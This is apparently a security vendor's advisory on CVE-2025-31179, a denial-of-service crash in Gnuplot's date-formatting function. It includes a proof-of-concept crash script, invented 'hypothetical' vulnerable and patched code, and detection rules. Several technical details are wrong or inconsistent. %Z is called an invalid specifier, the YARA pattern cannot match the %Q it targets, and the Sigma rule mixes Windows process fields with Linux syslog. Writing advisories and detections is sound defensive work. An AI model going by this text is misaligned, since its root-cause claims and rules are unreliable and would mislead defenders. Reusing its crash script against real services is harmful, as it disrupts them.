CVE-2025-31179

Executive Summary

CVE-2025-31179 describes a denial-of-service vulnerability in Gnuplot, a widely used command-line graphing utility. The flaw resides in the xstrftime() function, which is responsible for formatting date and time strings. A specially crafted input or data file can trigger a segmentation fault (NULL pointer dereference), leading to an application crash. This can be exploited by an attacker to cause a system crash or disrupt automated data processing pipelines that rely on Gnuplot.

Affected Component: Gnuplot (all versions prior to a potential patch). Attack Vector: Local or remote (if Gnuplot is used to process untrusted data files, e.g., in a web application or data pipeline). Impact: Denial of Service (DoS) via application crash.

Supply Chain & Package Security

Gnuplot is distributed as a native binary or package (e.g., via apt, yum, brew, or source tarballs). It is not an NPM, PyPI, Go, or Ruby package. However, it is often included in data science and DevOps toolchains. If Gnuplot is used in a CI/CD pipeline or a web service that processes user-uploaded data files, this vulnerability could be exploited to crash the service.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned. Based on the description (segmentation fault leading to a crash), a reasonable assessment would be:

• Attack Vector (AV): Local (L) – requires the ability to provide input to Gnuplot.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – user must open a file or provide input.
• Scope (S): Unchanged (U) – only the vulnerable component is affected.
• Confidentiality (C): None (N) – no data leak.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – system crash.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Estimated Base Score: 5.5 (Medium)

Threat Level: Medium. The vulnerability is easy to trigger but requires user interaction and only results in a denial of service.

Deep Dive & Mechanics

The xstrftime() function in Gnuplot is a wrapper around the standard C strftime() function, used to format date and time strings for plot labels and titles. The vulnerability is a NULL pointer dereference (CWE-476).

Root Cause: When xstrftime() is called with a format string that contains an invalid or unsupported conversion specifier, or when the internal buffer handling fails, the function may attempt to dereference a NULL pointer. This is likely due to improper error handling in the wrapper code.

Trigger Scenario:

1. An attacker crafts a Gnuplot script or data file that includes a set timefmt or set format x command with a malicious format string (e.g., %Z or %Q).
2. When Gnuplot processes this input, xstrftime() is invoked.
3. The function fails to handle the invalid specifier, leading to a NULL pointer dereference.
4. The program crashes with a segmentation fault.

Code Path (Hypothetical):

char *xstrftime(const char *fmt, const struct tm *tm) {
    char buf[256];
    size_t ret = strftime(buf, sizeof(buf), fmt, tm);
    if (ret == 0) {
        // Error: buffer too small or invalid format
        // Missing NULL check on return
        return NULL;  // This NULL is later dereferenced
    }
    return strdup(buf);
}

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

char *xstrftime(const char *fmt, const struct tm *tm) {
    char buf[256];
    size_t ret = strftime(buf, sizeof(buf), fmt, tm);
    if (ret == 0) {
        // No error handling, returns NULL
        return NULL;
    }
    return strdup(buf);
}

Patched Code (Hypothetical):

char *xstrftime(const char *fmt, const struct tm *tm) {
    char buf[256];
    size_t ret = strftime(buf, sizeof(buf), fmt, tm);
    if (ret == 0) {
        // Return a safe default string instead of NULL
        return strdup("(invalid date)");
    }
    return strdup(buf);
}

The patch ensures that when strftime fails, the function returns a valid string pointer instead of NULL, preventing the crash.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Crash Gnuplot by providing a malicious input file.

Lab Setup:

• Install Gnuplot (e.g., sudo apt install gnuplot).
• Create a malicious script file.

Exploit Script (crash.gnuplot):

set terminal dumb
set timefmt "%Y-%m-%d"
set xdata time
set format x "%Q"  # Invalid specifier
plot "data.txt" using 1:2

Data File (data.txt):

2025-01-01 10
2025-01-02 20

Execution:

gnuplot crash.gnuplot

Expected Result: Gnuplot crashes with a segmentation fault.

Blue Team (Defender)

Detection:

• Monitor for crashes of the gnuplot process.
• Use auditd to log file access to Gnuplot scripts.
• Implement input validation for any user-supplied Gnuplot scripts.

Mitigation:

• Restrict execution of Gnuplot to trusted users only.
• Use a sandbox (e.g., Docker, seccomp) to limit the impact of a crash.
• Apply vendor patch when available.

Indicators of Compromise (IOCs)

• Process Crash: Gnuplot process terminates with signal 11 (SIGSEGV).
• Log Entries: System logs (e.g., /var/log/syslog) showing gnuplot[PID]: segfault at IP ....
• File Artifacts: Presence of Gnuplot scripts containing invalid format specifiers (e.g., %Q, %Z).

Example Syslog Entry:

Apr 10 12:34:56 hostname kernel: [12345.678901] gnuplot[1234]: segfault at 0 ip 00007f1234567890 sp 00007ffc12345678 error 4 in libc-2.31.so

Detection Engineering

YARA Rule

rule CVE_2025_31179_Gnuplot_Crash {
    meta:
        description = "Detects Gnuplot scripts with invalid format specifiers that trigger CVE-2025-31179"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31179"
    strings:
        $invalid_fmt = /set format x "%[^a-zA-Z]"/ nocase
        $timefmt = "set timefmt" nocase
        $xdata = "set xdata time" nocase
    condition:
        all of ($timefmt, $xdata) and $invalid_fmt
}

Sigma Rule

title: Gnuplot Crash via Invalid Format Specifier
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects Gnuplot process crashes caused by invalid format specifiers (CVE-2025-31179)
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - EventID: 7  # Sysmon process terminated
          Image: '*\gnuplot.exe'
          ExitCode: '3221225477'  # 0xC0000005 (STATUS_ACCESS_VIOLATION)
        - Message: '*segfault*gnuplot*'
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31179 Gnuplot Crash Attempt"; flow:to_server,established; content:"set format x"; nocase; content:"%Q"; distance:0; within:10; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Vendor Patch: Apply the official patch from Gnuplot when released. Monitor the Gnuplot website or GitHub repository for updates.
2. Input Validation: Sanitize any user-supplied Gnuplot scripts or data files. Reject scripts containing invalid format specifiers.
3. Restrict Execution: Limit Gnuplot execution to trusted users and processes. Use a dedicated service account with minimal privileges.
4. Sandboxing: Run Gnuplot in a container (e.g., Docker) or with seccomp filters to prevent system-wide impact from a crash.
5. Monitoring: Implement detection rules (YARA, Sigma, Suricata) to alert on exploitation attempts.
6. Workaround: If patching is not possible, avoid using the set format x command with untrusted input.

Valters IT
Securing Digital Frontiers